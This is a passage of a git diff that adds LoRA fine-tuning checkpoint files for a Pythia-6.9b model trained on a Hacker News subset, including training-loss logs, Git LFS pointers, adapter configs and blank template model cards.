2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.02917527322624e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-490/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..352449086015c887f913b69d97b162b893e94765 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:217db9644854a1ed1e0da1fa31beb7f7270e4a24ad41a13562b71ff74905d5f1 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..12d439da4ad090fc08e32be366889d59785c396b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5a353650cae971b5e2ddc2c93358ede9fee0b2e1356fa24453415d21a52ee308 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..c1fc54eb4786e9f15244e8e4274b14688b87da5d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7062fa0264c6fb17100531852b46c235ce631a6626d5e19749a65ba8723532c0 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..cee24f7781db565e483521e84ddc6dd277a07ef3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8f79415c3ece613ed89d676bff22f42086790a2bced0de6758824fb8c7e27fcc +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..2780fc51576fd38950a7868187a77a460a74fb36 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/trainer_state.json @@ -0,0 +1,108 @@ +{ + "best_metric": 2.533135175704956, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50", + "epoch": 0.6666666666666666, + "eval_steps": 10, + "global_step": 50, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8193035993088000.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-50/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..1a608a5455c1e9eaf9888d135d1fcf3cba817249 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4b609757b3df08a64c3be27f2ac2a8c3e0a9dde7c398917a5918328d4de59448 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..a971b7476d201768f09226adf8e32c17e16f9e49 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:41e496fa3d164b4cbd3603e9e8882841afa0a5da96e39df3a0588df60106762f +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..96edd96602542afab3935d537c8d1428ce43196b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:beda198a64f1e6f1db0895ff6a6859c2af4c98fbf9c15d1daa4dcca9c20f50be +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..36002f421a8027f0e22e1cea8d6c317eebfd0e2d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e63d56828d52c149ac34c43bdc2adc48c363068c94b9a3df26528670b68d615b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8e99fc86024c43a421184520a3f4c734a87fdcf9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/trainer_state.json @@ -0,0 +1,783 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.666666666666667, + "eval_steps": 10, + "global_step": 500, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + 